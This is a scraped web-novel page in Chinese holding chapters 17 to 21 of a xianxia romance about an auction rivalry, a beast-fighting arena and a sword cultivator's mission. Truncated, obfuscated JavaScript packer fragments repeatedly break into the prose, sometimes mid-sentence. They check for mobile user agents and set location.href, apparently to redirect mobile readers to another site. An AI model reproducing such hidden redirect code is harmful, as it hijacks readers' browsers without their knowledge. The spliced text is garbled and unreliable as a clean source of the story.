l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330733|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “烟锦纱”更珍贵的防身法器了。 在黎落出声的同时,秦如霜脸色瞬间变得难看: “这是谁?” 在门外候着的程韵回禀: “是正对面的包厢,五百金买下灵草的人。” 秦如霜冷笑一声: “原来是个目不识货的蠢货。” “只怕是第一次有钱进极乐楼,便什么宝贝都当珍宝吧。” 如今价格已经远超宝物的价值,再买便是冤大头了。 若是寻常人便也算了。 但秦如霜何许人也,魔族圣女,秦家更是资产丰厚,十五万淬金石虽多,却也并非出不起。 于是她继续摇铃: “十六万!” 对面包厢不紧不慢:“二十万。” 秦如霜双目瞬间泛上猩红: “二十五万!” 不等对面出价,她已开口威胁道: “阁下抢此物之前,也得看看自己有没有命拿!” 对面包厢似乎是被吓到了,一时没有继续跟价。 秦如霜露出得意的笑。 对方若是还想要这条命,就该现在打听打听自己在和谁竞价。 什么样的身份,敢与她魔族圣女对着干? 然而下一秒,对面那令人讨厌的声音再度响起。 这次,那音色轻柔的女子声音里含着笑: “极乐楼的规矩,何时变成身份压人了?若是出不起价,何必耽误楼主发财?” 铃声又起,伴随着让人呼吸一滞的数字: “五十万。” “你找死——!” 秦如霜彻底被激怒,站起身,腰间长鞭打出破空之声,便要朝黎落动手。 一旁坐山观虎斗的封樾终于出声: “住手!” 他平时虽多调笑之语,但此刻声音含着威慑,不怒自威,魔气压下来,竟也镇得秦如霜不敢妄动。 她看向封樾,语气怒极: “君上!此人摆明了与我为敌!便是与您为敌!为何不教训她!” 封樾不悦地拧眉,显然是对她如此意气用事深觉不满。 程韵察言观色,解释道: “圣女,我等来此是为骨伞,若此时惹出事端,只会带来麻烦……” 秦如霜抬手,猝不及防一巴掌打在她脸上: “贱人!谁许你插嘴?!” 直打的程韵脸颊肿起,嘴角都带了血丝。 她却丝毫不敢辩驳,跪地垂头:“奴有罪。” 秦如霜打了人,心中怒气并未消散。 但魔君已经发了话,她却只能遵从,眼睁睁看着烟锦纱被送到了对面包厢中。 * 包厢中,黎落终于放下欣赏了大半天的灵草,转而举着烟锦纱左看右看。 段迟意对她高价抢这件法器、甚至差点和对面打起来的行为表示不解。 方才对面的包厢喊话的时候,他察觉到了其间瞬间暴涨的魔气。 只是被极乐楼特制的帘子挡着,他无法判断对方身份,却知道那人定是极强的魔族。 如今对上,只怕离开时会有不小的麻烦。 但见黎落十分高兴的模样,他又不禁在心中暗道一句“算了”。 索性她喜欢。 五十万对云苍阁阁主而言,确实不算什么大数目。 而且,抢便抢了,魔族而已,他又不是打不过。 18. 第 18 章 虽然这样想着,段迟意的目光却又忍不住看向被黎落随手放置一旁的灵草。 方才还爱不释手的东西,有了更好的,却也成了不入眼的普通摆设了。 段迟意莫名觉得有些不快。 他什么也没说,只是将桌子上的灵草拿起来,小心放到了极乐楼配备的盒子中。 但不论他怎么摆放,灵草都难以恢复在黎落手中时的精气神了。 甚至上面的霜花被人无视后,竟也显得有几分萎靡。 这寒冰凝成的东西,只不过被温暖的人关切在意了一阵,就染上了普通宝物的娇气了。 段迟意深觉危险,又暗中催动灵力,将这灵草和冰花冻得更严实一些,连带盒子上都覆了一层霜。 黎落忽然举着烟锦纱凑近他: “段迟意,你看这纱好不好?” 段迟意隔着轻纱看她,黑眸冷冷: “一般。” “一般?” 黎落瞪大了眼睛: “这可是能防身的上品法器!能挡化神期修士一击呢!” 段迟意看着她的眼睛,语气淡漠: “化神期修士不会只出一击。与其依靠一次性的防身法器,不如……” 他本想说“不如依靠更强的人”,但黎落已经将烟锦纱放在他身上比划: “想那么多干嘛,有总比没有好。你看这纱给你裁成衣裳可好?” 段迟意:“……” 他垂下眸子,看向搭在自己肩上的烟锦纱,语气有些不确定: “给我?” “嗯嗯。” 黎落点头: “你喜欢什么样式的衣裳?还是说你想直接当披风?” 段迟意又是一阵沉默。 他觉得自己的心也开始变得又痒又烫。 随即他又觉得,其实烟锦纱这样的防身法器也很好,虽然只能挡一击,却能争取到一次拼死反击的机会。 是他浅薄了。 * 对面包厢。 封樾总觉得方才与秦如霜喊价的声音有些耳熟。 他的脑海里莫名冒出一张甜美的容颜。 不知怎的,他总觉得黎落应该在这里,甚至在他怀里…… 但转念一想,那黎落不过是个普通人族,怎么可能到极乐楼,还能花高价买东西呢? 封樾不由得摇了摇头。 再看向秦如霜时,心中便有些不耐烦。 但他还想继续用渡魂玉,故而便压下心里的厌烦,将人揽到自己怀中: “还生气呢?” 秦如霜沉着脸: “君上不许我动手,莫不是因为对面那人是个女子,所以又怜香惜玉了?” 封樾眼里闪过几分不悦。 这秦如霜实在是个被惯坏了的蠢货,满脑子就只有那点事。 程韵已经将一切说的那么明白,她竟然还觉得自己是为了个女人。 平日在魔宫就警惕迫害一切靠近他的女子,那时他还能当做是男女间的情趣,哄哄便罢了,反正死几个女奴而已,也不是什么大事。 但如今骨伞一事迫在眉睫,她竟还如此分不清轻重! 秦家怎么捧了这么个人做圣女? 封樾心里越发厌烦起来,但面上仍挂着笑: “不过一件法器而已,何必动气?本君再为你寻个更好的。这场上还有什么喜欢的,本君都为你拿下。” 秦如霜闻言露出笑意: “这可是君上说的?” 她本也不是多喜欢烟锦纱,只是当着这么多的人被魔君驳了面子,多少让她有些下不来台。 这魔宫中美女如云,魔君自身也是个来者不拒的。 她若不时刻警惕着,只怕随时要被其他贱人顶替! 幸好她是秦家圣女,只要渡魂玉仍在,魔君就始终需要她,她的地位无人可以撼动。 秦如霜靠在封樾肩上,仰头,倾慕地看着这个让她心动的男子,柔情似水: “我就知道,君上最疼我了。” * 接下来一段时间,黎落就像是找到了什么乐趣似的。 只要封樾的包厢喊价,她就必然要抢,而且一定高价抢。 能来极乐楼的都是人精,哪里看不出,这是两边杠上了。 封樾那边显然是不好惹的魔族显贵,只是不知黎落这边是什么身份,竟敢如此明目张胆地挑衅。 不少人停止了喊价,转而旁观两边的“争斗”。 ——自然也是因为黎落喊的价他们都出不起,连凑热闹的机会都没有。 段迟意便眼睁睁看着包厢里的东西越来越多,甚至堆到了他身边。 到最后,黎落已经连打开盒子看一眼的兴趣都没有,直接就送给了他。 但那株冰花灵草仍摆在她面前的桌子上,独一无二。 段迟意心里便有几分说不上来的高兴。 他的目光一直落在黎落身上,看她摇铃时迫不及待的动作,喊价时故意使坏的偷笑,还有压得对方哑口无言时的得意。 像只昂首挺胸的小猫,毛茸茸的,又灵动骄傲得过分。 轻轻松松便抓住了他的全部注意力,让他挪不开目光。 他从未觉得这世间有如此明媚夺目的生命。 黎落这边又出价拍下了一颗鲛珠。 这颗鲛珠色泽莹润,里面还有光华流动,宛如海浪波涛。 极乐楼自称此珠乃是鲛人之主痛失爱人的泪水所化,能感知世间最为真挚的爱意。 黎落很是好奇。 这颗鲛珠花光了她整整两袋淬金石,若拿到手,发现只是颗普普通通的珠子,那她一定会不高兴的。 段迟意道: “鲛珠有疗愈净化之效,若真是来自鲛人之主,可谓神器。” 黎落闻言,一下子激动起来。 她眼巴巴地等着极乐楼送东西来。 然而这一次,进来的不是送东西的小厮,反而是个羽衣高冠的男子。 他拱手朝黎落两人行了一礼: “在下极乐楼楼主,鹤轩。” 黎落疑惑地看着他: “我的东西呢?” 鹤轩原以为敢同魔君抢东西的是哪个胆大包天的魔族,没想到竟是个貌美纤弱的人族女子。 人族,带着一个看不出身份的侍卫,还能随身携带如此大量的淬金石,只怕有些其他门道。 他准备的一肚子威胁之语便都不合适了。 鹤轩愣了愣,挂上客套的笑,开门见山道: “不瞒贵客,与您竞价之人身份不菲,您屡次驳他的面子,实在有些冒险。” 他打量黎落,没能从她身上看出任何攻击力: “小姐或许只是图个乐子,但依某之见,不若您退一步,也免去许多麻烦。损失一颗鲛珠,极乐楼愿以其他宝物奉上。” 黎落在极乐楼一掷千金,自然会惹来不少人的注意。 极乐都本就不是什么良善之地,他能有此提醒,也是看在黎落是个金主的份上,好心而已。 但黎落显然不领他这份好心。 “凭什么?管他什么身份,没钱就是没钱,你极乐楼什么时候还开始扶贫了?” 鹤轩羽扇遮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337625|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,幽幽一笑: “小姐说笑了。某也只是好心,毕竟那位……恐怕小姐惹不起。” 黎落“哼”了一声: “是吗?我惹不起?” 她看向段迟意: “副阁主,告诉他,我惹的起吗?” 见黎落一副傲慢张狂的样子,段迟意按住嘴角的笑意。 转头看向鹤轩时,神色已冷厉如寒冰。 他扬手,一块令牌如剑般气势凌然,直直飞向鹤轩。 鹤轩反手以羽扇抵挡,竟被那令牌逼退数布,羽扇更是裂成两半。 令牌上力道这才卸下,控制得刚刚好。 鹤轩头上冒出冷汗。 这人果真不凡。 随即他又看到令牌上的“云苍”二字,联想到黎落叫他“副阁主”,鹤轩不由得一惊,转向黎落: “莫非您就是云苍阁新阁主?” 黎落昂着头看向一边,没有说话,将高贵气质保持到底。 段迟意收到她的暗示,冷冷开口: “还不将东西拿来。” 鹤轩姿态立马恭敬起来。 这云苍阁阁主和魔君,一个是金主,一个是魔族之主。 虽然不知道这两人为何会杠上,但他只是个赚钱的,还是不插手为好。 鹤轩想到这一点,立马吩咐人将鲛珠送来。 这边,秦如霜正得意地看着程韵从小厮手中取过鲛珠。 她就知道魔君最是宠爱她,哪能看着她被一个无名小卒欺负。 果然,被连抢多件宝物后,魔君终于坐不住了。 便是再想着大局为重,他也是魔族君主,哪里能忍得了对面这般挑衅。 没钱又如何,只需小小亮出身份,那极乐楼楼主便忙不迭承诺会将东西双手奉上。 秦如霜不屑地看了一眼对面包厢,盘算着鲛珠到手后,要打成什么样的首饰。 然而不知那小厮说了什么,已经到程韵手中的盒子又被拿了回去。 程韵空着手过来,道: “极乐楼楼主说,对方执意不肯相让,他无法将鲛珠给我们……” “废物!” 到手的东西竟然能被人抢回去,秦如霜再也无法忍受,一下子暴怒起来,扬手又给了程韵一巴掌。 她气的胸脯上下起伏,姣好的面容变得扭曲: “那贱人到底是谁?!” 程韵答不上来。 秦如霜重重锤了下桌子。 都是因为没钱…… 若不是云苍阁阁主没将淬金石送来,她何至于被一个无名贱人如此羞辱! 楼下传来鼓乐声。 第二场拍卖开始了。 秦如霜的目光落到帷幕后的妖兽影子上,眼里露出杀意。 她招手示意程韵过来。 程韵捂着脸,姿态恭敬地靠近她。 秦如霜在她耳边说了几句,忽而看到程韵头上的发饰,是魔君喜欢的款式。 她神色一顿,猛地抬手,一把将那发饰拽了下来,连带着一撮头发。 程韵一惊,不顾头上和脸上的痛楚,急忙跪了下来。 秦如霜声音寒凉: “你不过是个卑贱妖族,我允你跟在我身边伺候,你该感恩才是,若是叫我知道,你生了不该有的心思……” “奴不敢!” 程韵急忙保证。 “不敢最好。” 秦如霜将那发饰嫌弃地扔在地上,精致的靴子无情踩过。 程韵不敢去捡。 她低着头,瞳孔中墨绿颜色逐渐变深,眼底透着憎恨。 19. 第 19 章 第二场为异兽。 带着赌博性质的斗兽素来为极乐楼一绝。 妖兽厮杀,场面血腥。反倒使气氛更加激昂。 堂下呼声不断,参与斗兽者急红了眼,不要钱似得疯狂下注。 更有没钱但鲁莽的人直接冲过围栏,跃上高台,赤手空拳与妖兽搏斗。 这也是极乐楼赏宝大会第二场的规矩: 若以自身性命下注,便无需与人竞价,打赢便可视为交易成功,更可以当场剖出妖兽妖丹,用以增进自身实力。 黎落却变得兴致缺缺,只百无聊赖地坐着看戏。 原著中,女主出门透气,被秦如霜算计掉入斗兽笼中,九死一生。 魔君经过复杂的心理活动后,终于被弱小但坚强不屈的女主打动,出手救了奄奄一息的女主,并公开高调示爱。 却也因此为女主拉来了不少的仇恨。 系统提醒她,这是男女主感情推进的重要剧情。 她不能逃,只能等事件发生。 黎落脸上倒没有多少“大难临头”的恐慌,只一派平静。 恰在这时,鹤归亲自送来了鲛珠。 鲛珠色泽幽蓝,如星辰大海,一尾赤红游鱼冻结其中,宛如晶莹琥珀。 黎落心里藏着事,对鲛珠的兴趣减半,只看了一眼便扭开头,连拿起来把玩的兴致都没有。 段迟意见状,将桌子和地上堆着的宝物整理了一番,打算将鲛珠好好收起来。 忽然,身后传来“咔嚓”一声。 黎落疑惑回头,却发现段迟意侧对着她,脸色古怪。 在他脚下,一个紫檀木盒子碎成了许多块,裂痕上覆着一层冰,像是被人生生捏碎的。 “怎么了?” 听见黎落的问题,段迟意的脸色反而变得更难看。 他以飞快的速度将右手上的东西藏起来,语气一反常态地匆忙: “无事。” 黎落眨了眨眼。 说的这么快,没事也显得像是有事。 她从窗边起身,朝段迟意的方向走了两步。 段迟意浑身僵硬,竟然被她吓得后退了两步,直接将攥着鲛珠的手背到了身后: “你别过来。” 这下黎落更好奇了: “段迟意,你怎么了?” 她目光越过段迟意劲瘦的腰身,试图朝后看去: “是鲛珠有什么问题吗?” 她不提“鲛珠”还好,一提“鲛珠”两个字,段迟意的瞳孔猛得一缩,脸上再次露出那种半是震惊半是恐慌的古怪神色。 不等黎落走到他身边,段迟意已果断转身。 高挑身影一闪,躲开了黎落朝他伸来的手,飞速打开门出了包厢。 “哎你——” “砰!” 门在黎落面前重重关上。 段迟意的声音隔着门飘进来: “我有事出去一趟,你不要乱跑。” 极乐楼包厢外围设有符咒,只要人在里面,轻易不会有事。 段迟意逃也似的离开了,留下黎落满头雾水。 她本想同段迟意说些什么,但现在也没机会了。 黎落悻悻然坐下。 隔着帘子,她看到堂下又一只妖兽死于搏斗。 与其搏斗的是个满脸横肉的彪形大汉,不等极乐楼交接货物,便哈哈大笑着冲上前,徒手将那落败的妖兽撕成了两半。 内脏与血肉横飞,引得观众惊呼连连,气氛一下子到了高潮。 一时间,极乐楼斗兽台上鲜血遍布,每个人脸上都洋溢着嗜血的兴奋。 那大汉直接将妖丹原地吞食,混浊气息自他周身漫开,想来此人往日便是这样吞食妖丹增强法力的。 他锤了锤自己的胸膛,拳风呼啸,对着台下目露凶光。 “再战!再来!” 大汉冲着后台遮盖的笼子高呼。 那笼子从斗兽开始便在了,隐约可见其中妖兽身影,庞大如山,每一次晃动,都伴随着巨大的喷息声。 没人敢挑战这异兽。 但大汉已连杀三兽,加上妖丹带来的凶煞冲击,早杀红了眼,哪还顾得上见好就收。 小厮并不劝阻,依言将笼子上遮盖的布揭开,一只浑身漆黑的猛兽便展露在众人眼前。 其状似牛,周身覆黑毛,头顶尖角,上挂黑红血迹。 不知有多少性命葬送于此兽口中! “兕!这是兕兽!” 有人认出了这凶兽。 “极乐楼竟能搞到这般凶物!” “这人死定了!” 然而,短暂的恐慌过后,汹涌而上的却是漫天的催促。 “上啊!杀了这兕兽!” “杀了他!把他撕成碎片!” 那大汉本已是十分强壮高大的身材,如今在足有两层楼高的兕兽面前,也渺小得如同孩童。 他本能畏惧这凶兽,然而一上斗兽台,便没有回头的余地,更何况台下一声高过一声的催促谩骂,并未给他退缩的余地。 他心一横,徒手冲了上去。 兕兽身形庞大,在小小的斗兽台上难以施展开,这便是它的弱点! 大汉借着身形优势,猛得蹿到兕兽身侧,趁其来不及转身之际,一拳猛锤在它腹部。 兕兽怒喝一声,满口兽齿上挂着血肉。 大汉又连打数拳,直到他自己的手腕都因为冲击力而变得青紫。 然而那兕兽皮糙肉厚,丝毫不见受伤,抬脚将大汉踢出了数米远,重重砸在围栏上。 大汉口吐鲜血,被这一脚踢丢了半条命。眼见兕兽朝他攻来,心中一惊,急忙转头朝着台下观众和小厮求救: “救救我!我不想死!” 小厮对此早已习以为常: “买定离手,不可悔。” 仿佛他们议论的不是一条人命。 台下观众更是对他的求饶视若无睹,只一个劲儿喊着“杀了他”、“撕碎他”。 一时竟也无法分清,这个“他”指的是人还是兽。 大汉面露绝望。 他终于在此刻彻底感受到,一旦上了台,人便是兽,生死都只是台下看客取乐的手段而已。 他怒喝一声,喉头漫上血气,深知今日无路可退。 妖丹的妖力从他丹田逸散,他的动作是前所未有的灵活,从地上取了上一个死去妖兽的腿骨,卯足力气朝兕兽冲去。 按理来说,斗兽者是不可以取用工具的。 但小厮并未阻止,像是早就预见了接下来的一幕。 大汉被兕兽独角顶起,黑色兽角贯穿他前胸后背,鲜血淋漓,滑落到了兕兽黑色的皮毛上。 大汉早已没了声息,只一双眼睛死死瞪着,瞳孔放大凸出,死的极为不甘。 兕兽只随意一甩,便将大汉尸体吞了下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347445|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那兽角上便又覆盖了一层鲜红的血。 人群安静了片刻,再次爆发巨大的呼声。 黎落便在这时打开了窗户。 带着防护符咒的帘子被掀开,血腥气和喧闹声瞬间涌了上来。 黎落眼里闪过嫌弃。 系统道:“因为剧情偏移,魔君还未对你情根深种,如果你熬不到他出手,会直接死去。” “如果我提前死了,也能回到现代吗?” 系统语气莫测: “宿主,任务失败的代价很大,请您最好不要有这种念头。” 黎落对着虚空微笑,神情乖巧: “我知道了。” 她的目光隔着帘子与对面包厢中的人相碰。 她确信封樾和秦如霜都能看清她的脸。 而她脸上挂着的微笑看在两人眼里,便是截然不同的意味。 封樾原本漫不经心的眼神一下子定在了黎落脸上。 “竟然是她?” “竟然是她……” 他心里说不上是惊喜还是意外。 她怎么会在这儿? 原来先前同秦如霜抢东西的人是她。 她看起来比在冯府时更好看了,先前还有些瘦弱怯懦,如今盈盈一笑,竟有了几分勾魂夺魄的意味。 既然是她,抢夺鲛珠和烟锦纱一事,便只是小女儿的娇俏情态了。 他愿意用宝物哄女人开心。 封樾的目光里满是男人对女人的那种肆无忌惮的打量。 秦如霜本就厌恶出现魔君面前的女子,见封樾露出那种“十分好奇”的表情后,她心里的警惕一下子拉到了最高。 怪不得对面那女的敢同她抢东西,果然是个想勾引君上的贱人! 不过幸好,她马上就没机会勾引君上了…… 秦如霜声音温柔,故意提议道: “君上认得她?不如将人请来一见?” 封樾明显意动。 但他还未开口,程韵便在此时找到了机会出手。 一丛藤蔓自无人可见处伸出,重重拍在黎落背后,将她整个人打了下去,直直落到了斗兽台上。 * 段迟意直接走出了极乐楼。 确保黎落绝对不会看到后,他才敢将右手中藏着的鲛珠拿出来。 鲛珠中央,原本静止不动的红尾鱼此刻正绕着圈游荡,清浅的蓝色波纹环绕在红尾鱼周围,像被轻风扰动的水面。 这鲛珠是鲛人之主情感最浓烈时流下的眼泪所化,能感知到人心中的爱意。 段迟意盯着鲛珠。 莹润的蓝色珠子静静躺在他手心,红尾鱼绕圈游动不止,荡出的涟漪像是一层层敲击在他的心上,让他感到了前所未有的恐慌。 难道是他…… 他…… 绝不可能! 段迟意拧眉,眉眼冰冷,少年人独有的困惑神情却从眼角眉梢露了出来。 他自幼入寒冰域,孑然一身,心中无情,根本不可能爱上任何人。 他持破妄剑,只为斩妖除魔,他是破妄剑主,他自身便是剑鞘,剑鞘不可能有情—— 不可能…… 他不可能爱上黎落…… 不可能…… 像是在给自己下咒,段迟意不断在心中重复“不可能”三个字。 可他越是重复,鲛珠中那鱼便游动地更加欢快,像是故意和他作对。 20. 第 20 章 幸而一道剑气打断了段迟意的思绪,将他从鲛珠的折磨中救了出来。 是仙门弟子的剑气,自身后的极乐楼中来。 暮色沉沉。 段迟意收起鲛珠,也收起了那些无法同人言说的复杂心事,覆上面具,以珩亦的身份进入了极乐楼。 四周景物如镜花水月,随着他的出现晃动不止。 段迟意拧眉。 眼前哪里还有热闹沸腾的斗兽之景,虽同为极乐楼装潢,却只余一片阴冷鬼气。 * 蒋思源横剑身前,堪堪挡住攻来的鬼爪,却还是被那尖锐长甲带起的鬼气划落一缕鬓发。 他额头渗出冷汗,被阴风一吹,顿时打了个冷战。 他奉师命捉拿危害人界的恶鬼,却因一时轻敌,叫这恶鬼连伤数位仙门弟子,一路逃来了极乐都。 此刻正是人界阴阳交替之时,那恶鬼借助极乐都乃人鬼两界重叠之处的特性,逃进了阴面。 阳面人声鼎沸,阴面却鬼气森森,叫人轻易无法寻得恶鬼踪迹。 他若不能在阴阳两面彻底合并之前解决这恶鬼,到时往生道大开,这恶鬼便可趁机溜走,或许还会伤到正在阳面拍卖的其他人。 想到这里,蒋思源不免焦躁起来。 那恶鬼在阴气助长下,邪气更盛。 一只鬼爪自后背生出,猝不及防朝蒋思源腰侧袭来。 蒋思源一门心思盯着面前,竟忽略了身侧的危机。 待他意识到时,阴邪之气已逼近他的腰间。 他在心中大呼“不好”,反手想以长剑相抵时,剑身却被鬼爪死死捏住,怎么都拽不出来。 完了…… 面对近在咫尺的鬼脸,还有腰间袭来的鬼爪,蒋思源心头一凉。 然而,下一刻,面前狰狞的鬼脸忽然在他的注视下斜着裂成了两半。 凌冽剑气自裂开的缝隙中扑面而来,蒋思源下意识抬剑,却根本无法抵挡那股剑势,一下子被压到了地上。 好在来人并不打算将他也一并劈成两半。 剑锋一转,已经裂成两半的恶鬼被彻底削碎,强势不可反抗的剑气也堪堪停在蒋思源面前。 他感受到了熟悉的霜寒剑气,更认出了来人那张冷而无情的面具。 “珩亦师兄!” 蒋思源大喜:“师兄怎会在此?” 他语带后怕: “若非师兄及时出手,只怕我今日凶多吉少了。” 段迟意持剑不语,只冷冷看了一眼地上的恶鬼,示意他解释。 蒋思源对此早已习以为常。 珩亦师兄自寒冰域中出,本就冷情冷性;又师从成胥道君,道君威严,师兄便也成了寡言的性子。 他于是飞速将情况讲了一番。 段迟意的脸挡在面具后面,没人能猜出他此刻的表情;周身覆霜,更叫人难以揣度他的喜怒。 蒋思源自知恶鬼逃窜皆因他大意,珩亦师兄乃仙门首徒,地位颇高,或许要斥责他办事不力。 思及此,他不免心中惴惴,忍不住悄悄偷看了段迟意一眼。 段迟意身形不动,破妄剑寒气森然。 蒋思源想到他素日冷酷无情的作风,心中一慌,自己先跪了下去: “是我大意,叫那恶鬼逃窜,才害得一同捉鬼的同门受伤,请师兄责罚于我。” 段迟意觑他一眼,音色冷清:“起来。” 似乎并没有责罚他的意思。 蒋思源站起身,试探着问道: “师兄不罚我?” 段迟意冷淡转身,并不回答他的废话,只道: “那恶鬼身上,有魔气。” 寻常恶鬼不会身带魔气,除非此物与魔族有关。 如今魔尊残魂现世,破妄剑更是频频感知到异常,偏偏此时冒出一个身带魔气的恶鬼,甚至能伤到仙门弟子,只怕不是简单的邪物。 他在等蒋思源的解释。 蒋思源急忙道: “确实,师兄下山寻找魔尊残魂,所以或许还不知道,极渊近日异动频发,那恶鬼便是自极渊中出,直奔人界作恶。被我等发现后,又直奔极乐楼。” “若今日真有骨伞现世……只怕那恶鬼便是奔着骨伞来的。” 说到这里,他的神色也凝重起来: “道君推测,恐怕是魔尊沧宿……快要复活了。” 此言一出,在场两位仙门弟子都沉默下去。 魔尊沧宿,两百年前为求杀生成神,几乎将三界杀个精光,是个不折不扣的疯子。 成胥道君耗费了毕生修为,才勉强将其打败。 若其当真复生而来,只怕三界又将重新陷入危机之中。 可成胥道君已是当世修为最高之人,与魔尊一战,尚且不敌混沌之力,重伤被迫闭关。 幸而仙门早有准备,提前炼制出了可灭混沌之力的破妄仙剑。 只是此剑太冷,唯有经寒冰域历练,方能持剑。 两百年间,也就只有珩亦一人撑了过来。 如今的仙门,倘若再与魔尊对上,只有破妄剑主珩亦能与之一战。 然破妄剑本是仙门诸多大能拼死用灵力所铸。 其剑道无情,本就暗含着“以命相换”的杀机,更遑论想要斩灭那天地造物的混沌之力。 若想以此剑斩杀魔尊,剑主必死无疑。 蒋思源的目光落到段迟意身上,自知失言,顿时闭了嘴。 日月交辉,天色将暗,极乐楼阴阳两面合并在即。 段迟意垂眸,看向手中雪色长剑,长睫凝冰。 他心里倒无多少惧意,当日选择入寒冰,便知自己的责任。 只是心里却有些寂寥。 偏在此时,空出来的另一只手却忽然摸到了一个温润的珠子。 是鲛珠。 红鱼摆尾,将他身上的寒意搅散。 段迟意眼底的冰霜在看到鲛珠的同时缓缓褪去。 是了,除却“珩亦仙君”的身份,还有一个人,只会喊他真正的名字——“段迟意”。 他还是她的副阁主。 这认知让段迟意心中涌起莫名的情绪。 他想见到她,现在、立马,见到她。 虽身在阴面,段迟意的思绪却已经飘到了另一边。 他离开的这半天,不知黎落是否又买了新的宝贝。 现在应该还是斗兽环节。 妖兽凶悍,若她一时兴起买了妖兽,他还得想办法帮她养着。 还有,若是阴阳两面重合时,包厢附近刚好有鬼,只怕也会吓到她。 想到这里,段迟意便不愿再同蒋思源废话。 他收剑离开。 冷风拂过,蒋思源尚未看清他的去向,那道高挑清俊的身影已在出现在了三楼包厢门口。 面对着紧闭的门,段迟意定了定神,取掉面具,又恢复了云苍阁副阁主的打扮。 再等片刻,极乐楼阴阳两面就会汇合,到时候他一打开门,就能看到黎落了。 他心里浮现几分难言的期许,手中鲛珠水纹越发晃动不休。 * 黎落从地上爬起来。 人若上台,便是默认要以自身性命为赌注,不会有人在乎这人是否自愿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352295|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而刚刚目睹了兕兽杀人的看客兴致正高,也不会在意黎落的死活。 他们只顾大声叫喊着,要兕兽再显凶相,将这漂亮但柔弱的人族女子一并吞了。 毕竟,看壮汉赴死,哪有看貌美女子凄惨哀嚎来的有趣。 黎落看向离她最近、呼声最高的男子。 对方衣着华贵、仪表堂堂,但因激动而变得猩红的双眼让他看起来有如发狂的兽类。 “咬死她——咬死她——” 黎落像看到脏东西一样移开目光。 兕兽刚吞食一个人,并不饥饿,只踱着步子,时不时懒洋洋地看一眼黎落。 黎落也不说话,看客想象中的哭泣哀嚎场景并没有发生。 但这并不能满足他们心里的暴虐。 人群开始躁动,最前头那男子按捺不住,竟朝着兕兽的方向投来一柄短刀。 极乐楼小厮动了动嘴,最终没有出声。 刀刃上附法术,与兕兽皮毛相撞,竟斜着划出了一道口子。 兕兽顿时被激怒,昂头抬起前肢,发出一声巨大的怒嚎。 而后双前足落地,整个斗兽台都跟着剧烈一抖。 兕兽朝着黎落的方向猛得冲了过来,腥臭气和小山一样的暗影顿时朝她扑了过来。 死亡威胁近在眼前,却因为剧情的改变,并没有“男主”前来相助。 ——封樾选择了旁观。 黎落被兕兽带来的风吹得站不稳,她顺势朝旁边一滚,避开了杀伤力极大的一击。 台下看客“喔”得一声,遗憾多过庆幸。 三楼包厢内,秦如霜一脸妩媚地攀附在封樾肩上。 她就知道,封樾将骨伞看得格外重要,连她的面子都拂了,更不会多事去救一个人族女子。 至于什么云苍阁…… 呵,还能为了一个死人,同她魔族圣女为难吗? 她庆幸自己下手及时,心中得意,语气里也含着笑: “尊上,这兕兽十分英武,待此局结束,可否将其买下,做我的宠物?” 封樾看着台下黎落摔倒的身影,招手示意手下拿钱: “自然都依你。” 便是他,也不觉得黎落能活。 但他也并不打算出手去救。 秦如霜目光随之看去。 黎落狼狈地滚至一旁,不过是借着身形瘦小才勉强拖延了一会儿时间。 眼看兕兽已彻底失去耐心,转眼便能将其生吞。 秦如霜心中高兴,更加卖力地攀住封樾的肩膀,在他耳边吐气如兰: “君上且看台下,人族女子头身分离、四肢断裂的场景,可比我魔界奴隶的死状,看起来更赏心悦目?” 封樾闻言笑道: “是有些意思。” 偏在此时,黎落身形一晃,红玉珠自她袖口滚落而出,转眼便被兕兽踩踏成灰。 方才还在同秦如霜调笑看戏的封樾猛地站了起来,目光紧紧锁在黎落身上。 秦如霜被他突然站起的动作吓了一跳,险些从榻上滑下去。 她心下觉得不妙,急忙起身问道: “君上,怎么了?” 封樾眉头紧皱,非但没有回答,甚至直接打碎了窗户,朝着斗兽台的方向一跃而下。 魔气一把冲开围观的人群,也将那兕兽高高抬起的前足一并削下。 巨兽坠落,尘土飞扬鲜血四溅,顿时弄脏了黎落的裙摆。 而她来不及躲避,因为右手腕被封樾死死抓住。 魔气压下,封樾的声音含着森然杀气: “说!你为什么有红玉珠?” 21. 第 21 章 黎落的眼神在对上赤红魔瞳的同时,自面无表情,转变成了无辜和迷茫。 她想要将自己的胳膊抽出去: “你放开我!我不知道你在说什么!” 